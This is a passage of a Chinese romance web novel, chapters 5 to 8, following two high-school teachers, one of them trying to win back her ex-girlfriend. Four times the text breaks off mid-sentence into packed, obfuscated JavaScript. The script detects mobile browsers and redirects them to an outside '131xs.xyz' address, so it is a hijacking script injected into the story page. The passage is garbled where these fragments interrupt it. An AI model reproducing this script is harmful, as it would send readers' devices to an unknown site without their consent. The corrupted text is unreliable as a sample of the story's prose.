霍苏叶失笑，前几年自己昏迷不醒的时候是谁站出来扛住局面的？要不是自己亲眼见过妹妹在商场上的手段，她怕是真的要被哄过去了。 “行了，之前你用过的那两个助理我给你调回去，能不能让她们死心塌地跟着你干，就看你的个人能力了。”霍苏叶也不墨迹，亲妹妹要人给就是了。 姐妹两人早些年的关系确实比不上现在亲密无间，毕竟她们一个跟着父亲在国外，一个跟着妈妈在国内，没有一直在一起生活。 可在被一起生活的所谓家人背刺后，霍苏叶也彻底看清楚谁才是能真正信任的人，自己这位妹妹有些时候比名义上的父亲更加靠谱。 顺利达成目的后，霍空青也乐得给自家姐姐提供情绪价值，陪聊到她吃完早饭准备去公司后，才结束这通电话。 睡前打开手机，发现聊天记录依旧停留在八点多后，霍空青并没有气馁，而是定好七点半的闹钟，准备明早继续争取。 按照霍空青对商陆的了解，她不是一个绝情的人，尤其是在自己表现得很乖的情况下，她不会连续拒绝自己太多次。 这不，被在被闹钟吵醒后，霍空青连牙都没刷就发出的邀请，终于得到回应。 【霍空青：学姐早啊，你的小电驴应该还在学校吧，不如搭我的顺风车？】 【霍空青：我收费很便宜的，顺路给我带个两个包子和一袋豆浆当早饭就行，我订的酒店不包早餐。】 【霍空青：[酒店定位]】 【商陆：麻烦学妹了。】 【霍空青：不客气，我八点十分到你小区门口。】 得到商陆肯定的回答后，霍空青满意的收起手机，哼着不知名的曲调起床开始洗漱。 学姐果然还是老样子，容易对自己心软，这真是个好消息。 只要学姐会心软，那么自己就有机会挽回，弥补之前的错误。 5. 第五章 自家学姐在刻意和自己保持距离。 意识到这一点后，霍空青没做多余的事情，仿佛她只是一个顺路捎同事去学校的好心人，路上也没聊什么，就开着舒缓的音乐放着歌。 在路段快要到学校的时候，路上的车辆才明显拥挤了起来，一个路口需要等两个红灯才能顺利通行。 顺利把车开到停车场后，商陆解开安全带，在打开车门前开口道谢，“谢谢霍老师送我到学校。” “不客气，以后还要请学姐关照我呢。”霍空青笑眯眯的说道，拎起没来得及吃的早餐，跟在商陆身后。 信息老师的办公室不是安排在图书馆吗？为什么霍空青要跟着自己来教学楼？ “图书馆要往另一边走。”在快到门口的时候，商陆忍不住开口。 “我知道，不过莫老师来得晚，我还没领到办公室钥匙，所以就想着随便逛逛当是熟悉学校了。”霍空青说着从袋子中拿出一个包子，张嘴咬了一大口。 “嗯？是豆沙馅的？”霍空青看向商陆。 “一个豆沙，一个肉包。”商陆随口答道。 发现霍空青眼眸里出现一抹亮光后，商陆很快意识到这就是霍空青一贯的口味，自己每次给她带包子都会这样搭配，于是立刻找补，“我不知道你喜欢吃什么，所以选了两个不一样的口味。” “噢，是这样啊，我还以为学姐依旧记得我的喜好，知道我喜欢甜咸搭配呢。”霍空青也不戳穿，懂事的在办公室门口停下。 “学姐忙去吧，我在外面随便逛逛。”霍空青说着又咬了一口包子，让自己沐浴在阳光下，“现在太阳不算特别热，我就算在太阳底下待个二十多分钟也不会被晒伤的，顶多就多出点汗而已。” 霍空青又在装可怜了，她不会以为这样做自己就心软吧？ 理智告诉商陆，这个时候自己最正确的做法就是推门进到办公室内，舒舒服服的在里面吹空调，不要管霍空青在外面会不会被热到。 可理智是一回事，实际行动又是另一回事，商陆做不到绝情，尤其是在自己才搭过霍空青车的情况下。 商陆让自己的表现看起来相对冷淡，只在打开办公室门时加了一句，“还没开门的话，可以先来我这里坐一会。” “可以吗？”霍空青面露喜色。 商陆没有回答这个问题，只是将门半开着，将选择权交给霍空青。 霍空青会怎么选还需要猜吗？当然是拎着手里的早餐钻进办公室内，找了一个疑似闲置的塑料凳子坐在商陆的身边，一边嚼嚼嚼一边看着商陆进入工作状态。 商陆目不斜视，先是打开电脑登录办公软件，随后打开学生开学后会下发的练习册，先一步开始做题。 商陆不是第一个到的老师，但先到的那位老师似乎在打开空调后就有事离开，导致现在办公室内就只有她和霍空青。 霍空青没说话，商陆也不出声，这让办公室内显得尤为安静，就连呼吸声也变得明显起来。 情况在第三位老师出现后被打破，她习惯性向商陆打招呼，随后才看到坐在塑料凳上的霍空青。 “这位是……霍老师？”陈老师没参加昨天晚上的聚会，语气带着一丝不确定。 “对，陈老师早上好。”霍空青笑着打招呼，顺手把空袋子丢进垃圾桶，主动解释：“图书馆办公室没开门，我先来这里蹭个空调。” 陈老师点了点头，随后入座自己的工位开始忙活起来。 在教学楼的高一老师办公室有两个，商陆在的是相对较大的一个，里面能坐下差不多二十来个老师。 同样教化学的老师和商陆比较熟，进来后都会和她打个招呼，偶尔会有好奇的视线落在霍空青身上。 霍空青通常会点头微笑示意，看到相对熟悉的人后才会开口打个招呼，解释自己在蹭空调。 袁艺是踩点来的办公室，看到霍空青出现在好友身边后，脚步略显迟疑，也没打招呼就坐在工位上。 【袁艺：姐妹，霍老师被安排到我们办公室了吗？】 手机震动的声音打断了商陆做题的思路，发现是袁艺来的消息后，她板着脸飞快回答。 【商陆：没有，今天她顺路送我到学校，加上图书馆办公室没开门，所以来我们办公室蹭一蹭空调。】 【袁艺：办公室这个点还没开门？】 商陆打字的动作一顿，这都到最迟的上班时间了，那位莫老师就算来得再晚也应该到了。 【商陆：应该开门了，只是霍老师没意识到这一点。】 袁艺没发来新的消息，商陆也就放下手机继续做题，尽量让自己忽视身边的霍空青。 只是霍空青的存在感着实强，别的不说，就说她身上香香的味道，每次都会被空调吹出的风带到商陆鼻侧。 这个味道商陆很熟悉，按理来说闻久了以后就会习惯。 但问题就出在商陆太熟悉了，这个味道在她潜意识里几乎和霍空青本人画上等号，越是想要忽略，脑海中有关她的记忆就越是上涌，简直就和喜马拉雅山的猴子一样。 商陆做题的速度明显变慢，余光看到霍空青已经玩起手机后，忍不住开口，“霍老师，开学的教案你准备好了吗？” “准备了，莫老师担心我没经验，所以让我按照她的教学计划来就行。”霍空青收起手机，极为认真的回答商陆的问题。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220197|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “高一一共十四个的班级，每班每周一节信息课，莫老师的意思是让我先看她上课，周四周五的课我再自己单独教学。” 这样的安排让商陆挑不出毛病，只能进一步明示，“后天就是学生报到入学的时间，我觉得这两天还是抓紧熟悉一下这个学期的教学计划，霍老师觉得呢？” “很有道理。”霍空青竖起大拇指表达赞同，但就是不提要离开这里。 商陆险些被气笑，语气也变得严肃冷漠起来，“作为老师，最重要的是教导学生知识，霍老师应该也认同这一点吧？” 霍空青点头，“当然，教书育人本就是老师的责任。” 商陆缓缓吐出一口气，压低自己的音量，尽量让它只被自己和霍空青听到，“我希望霍老师能成为一位好老师，不要成为学生嘴里人好看但不会教学生的花瓶老师。” 霍空青敏锐的意识到商陆有些生气，她觉得自己在其位不谋其政，认为自己赖在她办公室的行为不符合好老师的作风。 短暂沉默后，商陆点开手机相册，从里面翻出来的自己的CISSP证书后，将手机递给商陆。 “我没有停滞不前，我在一直在学习。”霍空青的语气同样认真。 信息技术教师资格证是霍空青大四上学期考到手的，她对未来的计划之一就是和商陆一个学校上班。 至于CISSP认证，是霍空青在看到希望后喊了一堆专家培训后考到手的，这个证书含金量很高，国内持有的人不会超过一万个。 商陆盯着全英文的证书看了很久，她看得懂上面的英文，但并不了解其真正含金量，只能从上面有主席和秘书的签字上，还有每三年需要认真来断定这个很厉害。 “你三月份就拿到这个证书了？”商陆的视线落在授权日期上。 “有备无患，当时觉得可能会用得上。”霍空青解释道。 她家里的情况在去年就慢慢稳定下来，只是为确保万无一失，选择在那些人被正式宣判后才准备回国。 “哦。”商陆把手机还给霍空青，拿起笔默默做题。 三十秒后，商陆打开抽屉，拿出一颗糖果放在霍空青的面前，“这个口味我不是很喜欢，你不介意的话可以尝一尝。” 霍空青嘴角的弧度慢慢上扬，意识到这是来自商陆的赔礼后，有意拖长尾音噢~了一声后，接着才撕开包装把糖果丢进嘴里。 嘶—— 好凉，果然是商陆不会喜欢的味道！ 霍空青下意识看向商陆，捕捉到她嘴角扬起的细微弧度后，默默咬碎嘴里的硬糖。 算了，能让商陆开心一点的话，超凉薄荷味的糖果自己也能接受！ 6. 第六章 逗留到十点后，邮箱里的邮件让霍空青不得不准备离开，于是开口询问：“学姐，附近有什么味道比较好的餐厅吗？我不知道中午吃什么。” 商陆在练习册上涂涂改改，“新店我不清楚，老店的味道都还可以，具体喜好看个人。” 霍空青看了一眼练习册上密密麻麻的知识点备注，顺杆往上爬：“学姐准备吃什么？午饭能带我一个吗？” 还在小小内疚中的商陆没拒绝，轻轻嗯了一声，“一会我微信发你，到时候店内见。” 霍空青起身，随后故意弯腰凑到商陆嘴边，将自己的存在感拉到最大：“好，谢谢学姐，我等你消息~” 看到商陆的耳垂微红后，霍空青满意离开，中途还特意很友好的和袁艺打了声招呼，“袁老师好啊。” “霍老师好。”忽然被点名的袁艺一个激灵，差点就把手上没写完的消息发出去。 在霍空青关上门离开后，袁艺才把最后几个字补上，将内容发给了商陆。 - 商陆对食物没有太多追求，询问过袁艺的意见后，将午餐定在学校门口的小炒店。 霍空青也不挑食，商陆推荐炒年糕她就吃炒年糕，吃的时候也没有刻意挑起话题，只是在袁艺聊到开学摸底考试的时候问了几句。 “监考老师人手不够吗？可我并没接到要当监考老师的通知。”霍空青略带不解，新来的体育老师都上了，怎么没安排她上？ “这个我知道，信息老师大概率要去培训学习新的教学软件。”袁艺抢答，“新学期会增加类似物化生的虚拟实验室、几何画板等。” 霍空青略感不解：“这个不应该是对应的科任老师去学习怎么用软件吗？” “是这样的，只是我们要先忙着学生开学和摸底考，暂时抽不出时间来。”袁艺用筷子抵着下巴琢磨了一下，“后续应该会有视频教程发到我们手里，按照我的经验，霍老师你和莫老师可能需要学习维护软硬件一类的。” “通常我们设备出问题了，都是拜托莫老师来调试解决的。”商陆在一边补充。 高中信息老师要负责不仅仅是教导学生，还有智能教学设备维护管理等，必要的时候还需要制作领导需要的小软件。 霍空青慢慢点头，原来如此，怪不得莫老师让自己好好珍惜开学前难得的轻松时刻，看来想要当好老师也挺不容易的。 下班前霍空青试探性对商陆发出搭顺风车的提议，得到意料中的婉拒后，也就没急着下一步动作，而是在第二天和莫老师一起培训和检查设备去了。 在其位谋其职，只要学校的薪水会按时打到霍空青的卡里，那么她就会完美履行职责。 - 开学这几天是班主任最忙的时候，要早起盯着学生早读不说，晚上还要去宿舍查寝关注学生的就寝情况，可谓是从早忙到晚。 头一回当班主任的商陆更是如此，差不多六点就要从家里出发，回来的时候接近十点，几乎一躺下就睡着。 好在查寝并不是每天的硬性指标，在开学第二周后，商陆回家的时间就变早了一些。 一口气爬五层楼梯让商陆的心肺面临一场小考验，深呼吸两次后才拿出钥匙准备开门。 哒—— 一道很轻的声音传来，同时一抹暖黄色灯光出现在商陆的头上，让她下意识眯起眼睛往上看。 六楼的灯是什么时候修好的，竟然还贴心的改成了声控灯？难道最近住户组织统一维修了？ 商陆分神思考，肌肉记忆让她不需要低头查看就能将钥匙准确插入锁芯内。 咔哒——咔哒—— 金属防盗门和实木大门先后被打开，没等商陆合上，就听到零星的水声从隔壁传来。 601这就住人了？装修团队和房主的效率都好高啊。 商陆在心中感叹，依次将金属门防盗门和实木大门反锁上，一转头就看到客厅的电视机正在播放牙膏广告。 看向沙发，自家妈妈果不其然已经靠在沙发上睡着，手里虚虚拿着遥控器，也不知道这样等了自己多久。 商陆压下鼻头忽然涌上的酸意，拿起遥控器关掉了电视，轻轻拍了拍妈妈的肩膀，“妈妈，我回来了。” “回来了？”商妈妈睡眼惺忪，抬手揉了揉眼睛，“现在几点？” “快要九点半了，妈妈你快回房间睡觉吧。”商陆伸手理了理自家妈妈的鬓角，指腹轻轻拂过其中多出来的白发，“以后困了就直接睡，不要每天等我回来。” “你小姑娘的大晚上一个人回来，我能不担心吗？”商妈妈打了个哈欠，继续说道：“要是不亲眼看到你回来，我这个觉也睡不安稳，我们小区连保安都没有呢。” 商陆无法反驳，只能默默收回手，“我知道了，以后尽量早点回来。” “把学生安排好回来就行，妈妈会在家里等你的。”商妈妈笑了笑，“行了，快去洗漱睡觉吧，明天又要早起。” “嗯。”商陆目送自家妈妈回到房间，随后才拿起睡衣钻进浴室。 - 六点的闹钟准时响起，商陆眯着眼睛关掉工作了一个晚上的电风扇，动作迅速的开始换衣服洗漱。 六点零七分，商陆打开了实木门，在她用钥匙打开金属防盗门的时候，对面601大门内也传来了门锁转动的声音。 咔哒—— 防盗门和对面的实木门同时被打开，一个熟悉的身影推开门走了出来，映入商陆的眼帘。 “霍空青？”商陆瞪大眼，十分诧异会在这里看到对方。 “学姐早啊……”霍空青说着打了一个哈欠，揉了揉眼角沁出的泪花，“学姐，以后我们就是邻居啦，还请多多关照嗷~” 商陆心中五味杂陈，她不知道要怎么接这句话。 “怎么了？是落下什么东西了吗？”商妈妈的声音从后面传来，随后很快出现在霍空青的眼里。 “陆阿姨早上好，我是新搬到601的霍空青，目前在一中当信息技术老师，您喊我小霍就行。”霍空青极为热情的打招呼。 “啊？哦哦，小霍你也是一中的老师？”商妈妈的眼睛明显亮了起来，看到霍空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220198|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青点头后，更是眼角都笑出明显的皱纹来。 “那真是太巧了，我家商陆也是一中的老师，算起来你们还是同事，正好能一起上下班有个伴呢。”商妈妈说道。 “是这样的，陆阿姨说的对。商老师要不要坐我车去学校，反正都是顺路。”霍空青顺着接话，脸上笑容越发灿烂。 “这会不会太麻烦小霍老师了？”商妈妈有些迟疑。 “我才来江定没多久，商老师和我一起的话，在路上还能给我指路，让我避开比较堵的路。”霍空青补充，“而且我有很多地方要请教商老师，我是才来一中的新老师。” “商陆，你觉得怎么样？”商妈妈扭头，询问女儿的意见。 商陆挣扎了一秒，随后眼神里露出妥协，“那就麻烦霍老师了，一会我请你吃早餐。” “商老师太客气啦。”霍空青笑着说道，回头将门关上，随后自然无比的拉住商陆的手，“陆阿姨，我和商老师上班去啦。” “好，路上注意安全，开车慢点哈。”商妈妈叮嘱道，站在门口目送两人离开。 霍空青就这样牵着商陆的手，一路走到停车的地方才松开。 商陆不是没试过把手抽出来，只是在失败一次后就停下了这种无用功。 “你买下了刘姨的房子？”商陆坐上车，拉出安全带系上。 “嗯，既然在一中当老师，自然要有一个合适的住所。”霍空青启动车子，“我总不能一直住酒店吧？” “你可以在靠近学校的地方租房子。”商陆侧头看向车窗外不断倒退的景色，“也可以申请教师宿舍，如果有位置的话会安排给你的，距离学校非常近。” “租房子不太自由，我不喜欢被房东约束。教师宿舍是双人间，我不喜欢。”霍空青驶出小区，目视前方，“商老师，你会因为我买下601而生气吗？” “你用你的钱买你想要的房子，我为什么要生气？”商陆努力让自己看起来和平时一样，“我只是觉得你选的位置不好，这里和学校的距离并不近。” 霍空青反驳：“可开车也不远啊，就算堵车也就二十分钟而已。” 商陆无言以对。 霍空青说的没错，她开车不过二十分钟，不堵车十五分钟就能到。是自己用惯性思维考虑了，以为霍空青也要和自己一样在通勤上花费半个多小时。 遇见红灯停下后，霍空青轻声说道：“学姐，以后上下班都坐我车吧，雇我当司机很便宜的，一顿早饭当报酬就足够了。” 商陆没接话，直到车子通过红绿灯才开口，“我是班主任，最早也要晚上八九点下班，如果查寝的话，可能会延迟到十点。” “那学姐就更要坐我车了，那么晚回家多危险呢。”霍空青语气轻松，直视前方路况的眼眸中有压不住的心疼。 要是自己早点想到买房子装修就好了，这样学姐就不用辛苦这一周的时间了。 商陆没又给出回答，但在霍空青看来，这个时候没用拒绝就是默认。 挽回女朋友大作战，又顺利往前迈出重要一步！ 7. 第七章 一中学生的教学强度比较高，住校学生六点就要到教室进行二十五分钟的晨读，走读学生则要在二十五分前到，需要赶上后面二十五分钟的早读。 晨、早读通常都安排给语文和英语，对应科任老师如果要听写、默写、抽背等会自己过来监督学生，作为化学老师的商陆通常需要在结束前看看情况。 顺风车的出现让商陆在早读才开始就抵达教室，看到语文老师在让学生准备默写后，商陆笑着和对方点头示意。 站在窗户驻足观察了一会学生的早读情况后，商陆才下楼去了办公室。 霍空青此时正坐在商陆的位置上，手里拿着一本化学必修一翻看。淡金色朝阳透过窗户洒在她身上，让她立体的五官看起来柔和了不少。 察觉到有人靠近后，霍空青的视线从课本上移开，抬头看向商陆，“商老师，你忙完了？” “嗯，去食堂吃早饭吧。”商陆拉开抽屉拿出里面的饭卡，“你去过学校食堂吃早饭吗？” 霍空青摇头，前几天她可没起那么早，早餐都是在外面的早餐店解决的。 “教职工食堂师傅做包子的手艺不错，你一会可以常常。”商陆说道，“要是想吃混沌葱油面的话，要去学生的窗口，教职工没开太多窗口。” “商老师吃什么我就吃什么。”霍空青跟在商陆身后，一副我很乖的样子，“我不挑食。” 商陆对此保留意见，在她的记忆中霍空青对食物的喜恶还是挺明显的，喜欢吃的食物可以连着吃一周，不喜欢的食物是一口都不愿意碰。 来学校吃早餐的教职工不是很多，学校大部分行政人员上班的时间是八点，足够他们在家吃完过来。 霍空青为证明自己是真的不挑食，不仅将两个包子吃得干干净净，还把有些糊嗓子的现磨豆浆也喝完了。 “商老师，从这周开始，周四、周五的信息课就要交给我负责了。”霍空青说道，“我看过课表，周四下午第二节来上课的是你的班级。” “嗯。”商陆应了一声，“莫老师会旁听吗？” 霍空青眉毛微微上挑，“周四上午的课莫老师会旁听一节，没问题后面就是我单独授课。在能实机操作的情况下，学生接受新知识还是蛮快的，上课的时候都很热情呢。” 商陆端起餐盘往出口走，“大概是因为不少学生有个黑客梦吧，电脑一般人家里都有，有教材的话也能周末在家自学成才。” “如果是这样的话，我要不要利用额外的时间多教他们一点东西呢？”霍空青跟着将餐盘放到回收处，开始认真思考。 “我的建议不要这样做，对学生来说通过学业水平考试是最重要的，新老师还是按照考试大纲授课比较好。”商陆提醒。 因材施教是非常理想的教学方式，不太适合现在看重分数的应试教育。 从二楼的教职工餐厅出来，看到的就是更加耀眼的骄阳，还有来去匆匆赶时间去小卖部采购重要物资的学生。 “商老师好。”认出自家班主任的学生有礼貌的打招呼，得到商陆的点头回应后，又一溜烟的跑了，速度极快像是后面有人撵他一样。 霍空青扭头看向几乎看不到背影的学生，有些好奇，“学生看起来有些怕你这个老师？商老师你上课的时候难道很凶吗？” 商陆战术性推了推眼镜，“不凶，只是没有和学生打成一片而已。” 又不是第一年当老师，之前三年的教学经验已经让商陆学会如何在学生面前保持威严。 要是学生觉得你太好说话，那么约束他们就会是一件非常不容易的事，教学难度也会跟着提升，尤其是某些身材比较壮实的男生，特别不好管。 在第一年来一中当老师时，商陆就已经吃过这个亏了，因为看起来年轻且好说话，甚至被班级里的某些男生调侃甚至造谣，当时商陆还偷偷在被窝里抹眼泪了。 “班主任有责任管理好班级学生，他们怕我的话不是一件坏事。”商陆解释了一句，压下那些不太好的回忆。 霍空青缓缓点头，恨不得回高一老师办公室的路再长一点，“商老师你觉得新的教学软件怎么样？对教学工作有帮助吗？” “很不错，收费版功能比免费版本要多很多，几乎每个实验都能生动形象的展示，还能让学生参与进来。”商陆不自觉皱起的眉毛舒展开来，“以后难题分析时也能用上。” “如果能在实验课之前让学生在机房里预习一番，对实验的安全性也能有很大提升。” 霍空青轻轻嗯了一声，垂眸看向商陆变得生动的五官。 看来自家学姐是真的很喜欢当老师啊，这职业认同感不要太高，提到工作还那么开心。 还没等商陆聊完虚拟实验室，办公室的深绿色金属门先一步出现，让她收回发散的思绪。 意识到路上自己的话有些多后，商陆的语气变得客气了不少，“霍老师，我要忙备课，就不送你去图书馆了。” “好，不过晚上我们办公室不开门，我能来你这边吗？”霍空青斜靠在墙上，她比商陆高出小半个头，这样的动作变相拉近了两人之间的距离。 商陆不是那些没谈过恋爱的小年轻，她非常清楚自己要是答应了，就是在给霍空青释放信号，表示两人可以进一步发展成关系更加密切的朋友，而不是止步现在的‘普通’同事。 “学姐，你不会要我在操场一边喂蚊子一边等你吧？”霍空青眨巴着眼睛看向商陆，努力让自己的眼神清澈单纯。 商陆没法硬下心来，“嗯，晚上你过来吧。” “好，谢谢商老师。”霍空青一边走一边朝着商陆挥手，“午饭前我来这里找你，商老师记得别放我鸽子啊。” 话音落下后，霍空青就已经用大长腿迈开足足七米的距离，没有给商陆反悔的机会。 - 在早中晚分别送商陆到办公室门口后，办公室内原本不太熟悉霍空青的人也都把新老师的名字和她的人挂上勾。 不清楚霍空青履历的老师对两人关系密切备感好奇，毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220199|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟在他们印象中应该是同一年入职的袁艺和商陆关系更亲近。 “当然是因为霍老师和商老师是校友啊，她们都是京师大毕业的呢。”还在批改作业的袁艺探头加入几位老师的对话，“算一算时间，我才是后来者呢。” “年轻的老师打成一片也不错。”一个年纪相对较大的老师笑着说道，“对了，群里发了新消息，说是教师节给我们准备的东西到了，要我们派两个去拿。” “现在吗？天都黑了。”袁艺看了一眼时间，晚上七点整，这点学生都结束晚读开始上第一节自习课了。 “嗯，说是要第二天一早就发给老师。”年纪大的老师说道，视线落在袁艺和商陆身上。 老师之间也讲究论资排辈，现在还留在办公室的八个老师里，商陆和袁艺是最年轻资历也最浅的。 他虽然是这里唯一的男老师，但他可是高级教师，不管是资历还是职称都更高。 “成，我和商老师去拿就行。”袁艺看了眼群里的新消息，东西统一都卸在了校门口，要按照办公室依次领取。 商陆早已习惯这种程度的论资排辈，起身和袁艺一起往校门口走去。 学校经费充足，给老师安排的节日福利自然不会太差。但看着面前足足两大箱子的礼物，商陆和袁艺还是愣了一下，随后依次上手试了试。 两个箱子的分量差不多，一个人的话只能勉强抱起来，根本走不了几步，估计只能两个人抬一个，然后走两趟。 “保安姐姐，有没有能用的小推车？这么大的箱子我们搬不走。”袁艺喘着气问道，抱起不过走了几步她就累得够呛。 保安点头：“有是有，不过刚才被其他老师借走了，两位老师可能需要等一会。” 等一会总比两人费力搬两趟箱子好，商陆和袁艺非常有默契的掏出手机打发时间，等待救星小推车归来。 不过先小推车一步出现的是一辆红色的宝马，商陆一抬头就看霍空青那张极具辨识度的脸。 “商老师怎么在这里，是要领东西？”霍空青从车窗探出头。送商陆回办公室后，她就开车去了校外采购东西。 “嗯，是明天的教师节礼物。”商陆说道，“你先去我位置上坐着，我一会就过来。” 霍空青扭头看了一眼箱子的大小，当即开到就近的停车位上，一边挽袖子一边朝着商陆走来。 “要搬什么东西，我来帮你们吧，正好今天还没锻炼。”霍空青笑着说道。 “就是这两个，我们准备……”袁艺指了指两个大箱子，话还没说完就看到霍空青很是轻松的扛起了其中一个。 “……等小推车被送回来，然后再把箱子搬过去。”补上后半句的袁艺咽了咽口水，被霍空青纯粹的力量所震撼。 “这样啊，那我先帮你们搬一趟好了。”霍空青脸上的笑容轻松，就这样脸不红气不喘的扛着箱子走了。 袁艺忍不住又试了试箱子的分量，开始怀疑自己是不是因为坐办公室太久变成一条小废鱼。 8. 第八章 小推车很快从一位年轻老师的手里出现，不过遗憾的是她并没有用完，还需要再搬运一趟。 先来后到的道理谁都明白，商陆只能客套表示她们再等等，随后就等到完成一趟搬运工作折返回来的霍空青。 “外面也挺热的，我直接把这箱子也搬走吧。”霍空青说道，她的额头上沾着些许汗水，能搬得动是一回事，因为运动出汗又是另一回事。 “没事，霍老师你先休息一下，小推车一来一去最多也就五六分钟。”袁艺连忙婉拒。 这本就是自己要干的活，让对方帮着搬一箱子已经很不好意思，她还的脸皮还没修炼到堪比城墙的程度。 “擦擦汗。”商陆掏出兜里的手帕纸递了过去。 “谢谢。”霍空青笑着接过，随后站在商陆身边等着小推车被送回来。 过了莫约五分钟，小推车回来了，不过跟着回来的老师多了一个，一个看起来三十多岁的老师跟在二十多岁的年轻老师身后。 “抱歉，我们还要额外把行政楼老师的礼物送到办公室门口，所以暂时不能借给你们用。”年轻老师略显不好意思的开口。 “真是对不住，不如你们晚点再来或者自己合力搬一下？我们要运的东西挺多的，现在就一个小推车呢。”三十多岁的男老师笑呵呵的说道。 他的看似语气很和善，实际上连眼里的轻蔑都没有遮掩，显然，他没有把眼前三个年轻老师放在眼里。 没等商陆等人表态，汪主任的声音就先一步出现，“怎么都在这里站着，是运过来的东西出问题了吗？” “汪主任好。”男老师率先打招呼，眼中的轻蔑在眨眼间消失，转而出现在他脸上的是有些谄媚的笑容。 “没出什么问题，就是我和小刘老师准备替行政楼的老师拿礼物，因为东西比较多，所以需要用小推车。”男老师解释道，“这三位老师也想用小推车，我就建议她们晚点再来。” 汪主任点头，视线落在霍空青身上，语气关切，“小霍老师怎么还留在学校，是工作上遇见什么问题了吗？” “没，我等商老师一起回家，顺带来帮她搬点东西。”霍空青说道，“既然要先给行政楼的老师送，那剩下这箱我们就自己搬回去好了，也不算太重。” “是这样啊。”汪主任笑着点头，视线掠过霍空青身上被挽起的衣袖，最后落在男老师身上。 “金老师，这是给老师们的礼物，不应该安排专人送到办公室吗？怎么变成通知老师自己来拿了？”汪主任语气变得严肃：“就算自己领，也应该安排在明天教师节当天，而不是在这个时间点。” 金老师脸上的笑容变得有些勉强，“我是想着东西都到了，晚上安排领走的话，老师们明天一来就有惊喜。” 汪主任的语气带着明显的不赞同：“这样想也没错，就是方法用的不好。应该是等老师都下班回家了，然后组织后勤部员工加个班把礼物放在老师们的办公桌上，这样才算是惊喜。” 金老师还想解释些什么，不过汪主任已经先一步越过她，招呼着一男一女两个保安过来，“保安师傅，麻烦搭把手，帮忙把这箱子搬一下。” “汪主任，不用麻烦，我一个人来就行。”霍空青打断汪主任的话，随后利落的把箱子扛了起来。 汪主任瞪大眼，下意识上前想要搭把手，“这，小霍老师你小心些啊，这箱子看起来不轻。” “我来帮忙。”袁艺反应最快，立刻凑到霍空青身边抬手帮忙扶着箱子。 动作不够快的商陆只能礼貌和汪主任点头示意，快步上前走到霍空青的另一边，看看自己能帮得上什么忙。 看着霍空青扛着箱子走远后，汪主任原本温和的面容冷了下来，撇了一眼金老师后，一言不发的离开。 金老师有些懵，作为捧高踩低的一把好手，他当然看出来汪主任对那个年轻的小霍老师非常客气。 可这个小霍老师又是谁？他没听说新来的老师里有谁是上头某某的亲戚啊？ 要知道汪主任可是教务处主任，不出意外的话，在现任教学副校长退休后，她就是新的副校长。 “金老师？我们还要继续送吗？”年轻老师硬着头皮问道。 金老师不悦的啧了一声，“没听到汪主任说什么了？等老师走以后再送，现在送还有什么惊喜呢？” 被训的年轻老师有些憋屈，她很想说行政老师都已经下班了，现在送和晚自习结束后送没有什么区别。 只是人在屋檐下不得不低头，年轻只能赞同对方的做法，“好，那我等第三节晚自习结束，然后再把东西放到对应办公室的门口。” “嗯，抓紧时间，不要耽误其他人下班。”丢下这一句话后，金老师就大步离开，估计是找渠道打听霍空青背景去了。 - 商陆今晚要看自己班级的晚自习，在和霍空青、袁艺一起把礼物整理好后，她就拿着教材和辅导书去了高一四班。 商陆的位置被霍空青占领，她拿出了自己的电脑，连上电源后开始敲敲打打。 办公室内偶尔会刷新收齐作业的课代表，大多都是女生，抱着厚厚一摞作业出现。 “霍老师，能问一下商老师的位置在哪里吗？五班的化学作业收上来了。”新刷出来的课代表问道，眼神略带紧张。 作为高一年级唯二的信息技术老师加上出色的外表，霍空青在年级内的知名度还算不错，她也不意外会被学生认出来。 “放在这里就行，这就是商老师的位置。”霍空青把自己的电脑往里挪了挪，腾出放作业的位置。 “好的霍老师，我们班的作业还差三本，名字我写在便利贴上了，他们会在晚自习结束前写好送过来的。”课代表说道。 霍空青对着眼前的女生露出笑容，“好的，辛苦课代表了。” “这、这都是我该做的，老师我走啦。”和霍空青对视的女生变得紧张，很快就一溜烟的跑走了，也不留下多蹭一会办公室的空调。 霍空青没忍住笑了一声，随后拿起手机和商老师汇报五班作业情况。 【霍空青：商老师，需要我帮你批改学生作业吗？】 【商陆：谢谢，不过不着急，我明天上班批就行。】 【霍空青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 